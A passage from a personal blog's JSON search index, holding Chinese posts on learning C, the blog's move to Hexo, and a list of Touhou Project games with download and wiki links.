title=\"如何学习\"\u003e\u003c/a\u003e如何学习\u003c/h4\u003e\u003cp\u003e编程语言的学习,其实和语言(比如英语,汉语)的学习是类似的。因此,大家不要有畏难心理。但后者比前者快得多(毕竟前者在“语法”和“词汇”上比后者少得多)。我的建议是:阅读C语言的教材,并且多加练习和思考,不会的问题多百度(这尤其重要,当然如果你能用谷歌更好)。当然,也可以通过这套教程快速掌握一部分基础知识(如果我不咕咕咕的话)。另外,网易云课堂和中国大学MOOC也是非常值得推荐的学习平台。\u003c/p\u003e\u003ch4 id=\"C语言能干什么?\"\u003e\u003ca href=\"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/#C%E8%AF%AD%E8%A8%80%E8%83%BD%E5%B9%B2%E4%BB%80%E4%B9%88%EF%BC%9F\" class=\"headerlink\" title=\"C语言能干什么?\"\u003e\u003c/a\u003eC语言能干什么?\u003c/h4\u003e\u003cp\u003e\u003cdel\u003e除了不能生孩子\u003c/del\u003e什么都能干。当然,难度是不一样的。比如,如果你想让电脑显示一些文字的话,最多也只需要7行;如果想自己制作一些游戏的话(什么2048啊,俄罗斯方块啊,贪吃蛇啊),要写的可就不止那么几行了(大触请绕行)。我曾经自己动手写过一个俄罗斯方块,大概1000多行代码(现在想想还能精简掉好多)。我甚至还用C语言解决过一个WER工程挑战赛任务(虽然最后那个任务突然被取消了……),算上图形界面,大概3、400行代码。所以,C语言能干什么,完全取决于你的学习深度。可以说,学得越深,能干的事就越多。\u003c/p\u003e\u003cp\u003e毕竟,很多领域和C语言都是紧密相连的。比如单片机,比如操作系统开发,比如嵌入式开发(就像电脑显示器,微波炉等),比如计算机病毒(这个嘛……前面也说到了,C语言是最接近系统底层的编程语言)。在这些领域都能或多或少看到C语言的影子。\u003c/p\u003e\u003cp\u003e总而言之,C语言是非常重要的编程语言。掌握了它,你就获得了一件屠龙宝刀。因此,加油学吧!\u003cdel\u003e反正现在不学大学也得学\u003c/del\u003e\u003c/p\u003e\u003cp\u003e愿你能用C语言写出你心中最美的天地。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E7%BC%96%E7%A8%8B%E4%BA%8C%E4%B8%89%E4%BA%8B/"},{"title":"Reincarnation","time":"2020-12-16T04:40:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e博客修复完毕,再度复活。 \u003c/p\u003e\u003chr/\u003e\u003cp\u003e其实主要是因为mysql的锅,所以半天都没修好()\u003cbr/\u003e现在已经换用hexo,\u003cdel\u003emarkdown比富文本编辑器高到不知道哪里去了\u003c/del\u003e markdown+LaTex+vim,是个不错的组合 \u003cdel\u003e以后写东西鼠标都不用动了\u003c/del\u003e\u003c/p\u003e\u003cp\u003e最近会逐步恢复以前的文章,应该不会太久。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2020/12/16/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/Reincarnation/"},{"title":"東方Project:同人界永远的奇迹","time":"2020-07-06T10:25:56Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"正作全收录\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%AD%A3%E4%BD%9C%E5%85%A8%E6%94%B6%E5%BD%95\" class=\"headerlink\" title=\"正作全收录\"\u003e\u003c/a\u003e正作全收录\u003c/h2\u003e\u003ch3 id=\"东方旧作整理\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E6%97%A7%E4%BD%9C%E6%95%B4%E7%90%86\" class=\"headerlink\" title=\"东方旧作整理\"\u003e\u003c/a\u003e东方旧作整理\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/7/76/%E4%B8%9C%E6%96%B9Project%E6%97%A7%E4%BD%9CCDdisc.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iFCgql3u39g\"\u003e点击下载\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E5%AE%98%E6%96%B9%E6%B8%B8%E6%88%8F#.E6.97.A7.E4.BD.9C\"\u003eTHBWiki-东方旧作\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方红魔乡\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1\" class=\"headerlink\" title=\"东方红魔乡\"\u003e\u003c/a\u003e东方红魔乡\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/b/b2/%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iY8pbe062jg\"\u003e点击下载\u003c/a\u003e(汉化版-无wav文件)\u003c/p\u003e\u003ch4 id=\"游戏录像收集\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e暂无(咕\u003c/p\u003e\u003ch4 id=\"游戏资料\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1\"\u003eTHBWiki-东方红魔乡\u003c/a\u003e\u003cbr/\u003e\u003ca href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1%20%EF%BD%9E%20the%20Embodiment%20of%20Scarlet%20Devil.?fromtitle=%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1\u0026amp;fromid=4032112\" title=\"%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1\u0026amp;fromid=4032112\"\u003e百度百科-东方红魔乡\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方妖妖梦\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E5%A6%96%E5%A6%96%E6%A2%A6\" class=\"headerlink\" title=\"东方妖妖梦\"\u003e\u003c/a\u003e东方妖妖梦\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/a/a7/%E4%B8%9C%E6%96%B9%E5%A6%96%E5%A6%96%E6%A2%A6%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载-1\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD-1\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/i0wpPe063cf\"\u003e点击下载\u003c/a\u003e(汉化+精简)\u003c/p\u003e\u003ch4 id=\"游戏录像收集-1\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86-1\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e暂无(咕\u003c/p\u003e\u003ch4 id=\"游戏资料-1\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99-1\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E5%A6%96%E5%A6%96%E6%A2%A6\"\u003eTHBWiki-东方妖妖梦\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E5%A6%96%E5%A6%96%E6%A2%A6%20%EF%BD%9E%20Perfect%20Cherry%20Blossom.?fromtitle=%E4%B8%9C%E6%96%B9%E5%A6%96%E5%A6%96%E6%A2%A6\u0026amp;fromid=203237\" title=\"%E4%B8%9C%E6%96%B9%E5%A6%96%E5%A6%96%E6%A2%A6\u0026amp;fromid=203237\"\u003e百度百科-东方妖妖梦\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方永夜抄\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E6%B0%B8%E5%A4%9C%E6%8A%84\" class=\"headerlink\" title=\"东方永夜抄\"\u003e\u003c/a\u003e东方永夜抄\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/e/ee/%E4%B8%9C%E6%96%B9%E6%B0%B8%E5%A4%9C%E6%8A%84%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载-2\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD-2\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/i558Re05ldi\"\u003e点击下载\u003c/a\u003e(汉化+精简)\u003c/p\u003e\u003ch4 id=\"游戏录像收集-2\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86-2\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/b015jziji\"\u003e点击访问\u003c/a\u003e。密码:1ztc\u003c/p\u003e\u003ch4 id=\"游戏资料-2\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99-2\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E6%B0%B8%E5%A4%9C%E6%8A%84\"\u003eTHBWiki-东方永夜抄\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E6%B0%B8%E5%A4%9C%E6%8A%84%20%EF%BD%9E%20Imperishable%20Night.?fromtitle=%E4%B8%9C%E6%96%B9%E6%B0%B8%E5%A4%9C%E6%8A%84\u0026amp;fromid=1417333\" title=\"%E4%B8%9C%E6%96%B9%E6%B0%B8%E5%A4%9C%E6%8A%84\u0026amp;fromid=1417333\"\u003e百度百科-东方永夜抄\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方风神录\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95\" class=\"headerlink\" title=\"东方风神录\"\u003e\u003c/a\u003e东方风神录\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/thumb/4/49/%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载-3\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD-3\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iCJw2e05mpg\"\u003e点击下载\u003c/a\u003e(汉化+精简)\u003c/p\u003e\u003ch4 id=\"游戏录像收集-3\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86-3\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e暂无(咕\u003c/p\u003e\u003ch4 id=\"游戏资料-3\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99-3\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95\"\u003eTHBWiki-东方风神录\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95%20%EF%BD%9E%20Mountain%20of%20Faith.?fromtitle=%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95\u0026amp;fromid=6990809\" title=\"%E4%B8%9C%E6%96%B9%E9%A3%8E%E7%A5%9E%E5%BD%95\u0026amp;fromid=6990809\"\u003e百度百科-东方风神录\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方地灵殿\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E5%9C%B0%E7%81%B5%E6%AE%BF\" class=\"headerlink\" title=\"东方地灵殿\"\u003e\u003c/a\u003e东方地灵殿\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/thumb/7/79/%E4%B8%9C%E6%96%B9%E5%9C%B0%E7%81%B5%E6%AE%BF%E5%B0%81%E9%9D%A2.jpg/300px-%E4%B8%9C%E6%96%B9%E5%9C%B0%E7%81%B5%E6%AE%BF%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载-4\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD-4\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e原版:\u003ca href=\"https://dreamweb.lanzoui.com/iC7Zle05o4h\"\u003e点击下载\u003c/a\u003e(汉化+精简)\u003c/p\u003e\u003cp\u003e魔改版(红白强拆地灵殿):\u003ca href=\"https://dreamweb.lanzoui.com/b015l57af\"\u003e点击下载\u003c/a\u003e\u003c/p\u003e\u003ch4 id=\"游戏录像收集-4\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86-4\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e暂无(咕\u003c/p\u003e\u003ch4 id=\"游戏资料-4\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99-4\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E5%9C%B0%E7%81%B5%E6%AE%BF\"\u003eTHBWiki-东方地灵殿\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E5%9C%B0%E7%81%B5%E6%AE%BF%20%EF%BD%9E%20Subterranean%20Animism.?fromtitle=%E4%B8%9C%E6%96%B9%E5%9C%B0%E7%81%B5%E6%AE%BF\u0026amp;fromid=5251315\" title=\"%E4%B8%9C%E6%96%B9%E5%9C%B0%E7%81%B5%E6%AE%BF\u0026amp;fromid=5251315\"\u003e百度百科-东方地灵殿\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方星莲船\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E6%98%9F%E8%8E%B2%E8%88%B9\" class=\"headerlink\" title=\"东方星莲船\"\u003e\u003c/a\u003e东方星莲船\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/thumb/0/0d/%E4%B8%9C%E6%96%B9%E6%98%9F%E8%8E%B2%E8%88%B9%E5%B0%81%E9%9D%A2.jpg/300px-%E4%B8%9C%E6%96%B9%E6%98%9F%E8%8E%B2%E8%88%B9%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载-5\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD-5\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/iiAQVe05osb\"\u003e点击下载\u003c/a\u003e(汉化+精简)\u003c/p\u003e\u003ch4 id=\"游戏录像收集-5\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86-5\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e暂无(咕\u003c/p\u003e\u003ch4 id=\"游戏资料-5\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99-5\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E6%98%9F%E8%8E%B2%E8%88%B9\"\u003eTHBWiki-东方星莲船\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://baike.baidu.com/item/%E4%B8%9C%E6%96%B9%E6%98%9F%E8%8E%B2%E8%88%B9%20%EF%BD%9E%20Undefined%20Fantastic%20Object.?fromtitle=%E4%B8%9C%E6%96%B9%E6%98%9F%E8%8E%B2%E8%88%B9\u0026amp;fromid=2019608\" title=\"%E4%B8%9C%E6%96%B9%E6%98%9F%E8%8E%B2%E8%88%B9\u0026amp;fromid=2019608\"\u003e百度百科-东方星莲船\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"东方神灵庙\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E4%B8%9C%E6%96%B9%E7%A5%9E%E7%81%B5%E5%BA%99\" class=\"headerlink\" title=\"东方神灵庙\"\u003e\u003c/a\u003e东方神灵庙\u003c/h3\u003e\u003cimg src=\"https://upload.thwiki.cc/thumb/7/74/%E4%B8%9C%E6%96%B9%E7%A5%9E%E7%81%B5%E5%BA%99%E5%B0%81%E9%9D%A2.jpg/300px-%E4%B8%9C%E6%96%B9%E7%A5%9E%E7%81%B5%E5%BA%99%E5%B0%81%E9%9D%A2.jpg\" alt=\"\" style=\"width: 30%;\"/\u003e\u003ch4 id=\"游戏下载-6\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E4%B8%8B%E8%BD%BD-6\" class=\"headerlink\" title=\"游戏下载\"\u003e\u003c/a\u003e游戏下载\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://dreamweb.lanzoui.com/i3g4De05puj\"\u003e点击下载\u003c/a\u003e(汉化+精简)\u003c/p\u003e\u003ch4 id=\"游戏录像收集-6\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E5%BD%95%E5%83%8F%E6%94%B6%E9%9B%86-6\" class=\"headerlink\" title=\"游戏录像收集\"\u003e\u003c/a\u003e游戏录像收集\u003c/h4\u003e\u003cp\u003e暂无(咕\u003c/p\u003e\u003ch4 id=\"游戏资料-6\"\u003e\u003ca href=\"https://xeonds.github.io/2020/07/06/%E6%B8%B8%E6%88%8F/%E4%B8%9C%E6%96%B9Project/%E6%9D%B1%E6%96%B9Project%EF%BC%9A%E5%90%8C%E4%BA%BA%E7%95%8C%E6%B0%B8%E8%BF%9C%E7%9A%84%E5%A5%87%E8%BF%B9/#%E6%B8%B8%E6%88%8F%E8%B5%84%E6%96%99-6\" class=\"headerlink\" title=\"游戏资料\"\u003e\u003c/a\u003e游戏资料\u003c/h4\u003e\u003cp\u003e\u003ca href=\"https://thwiki.cc/%E4%B8%9C%E6%96%B9%E7%A5%9E%E7%81%B5%E5%BA%99\"\u003eTHBWiki-东方神灵庙\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca 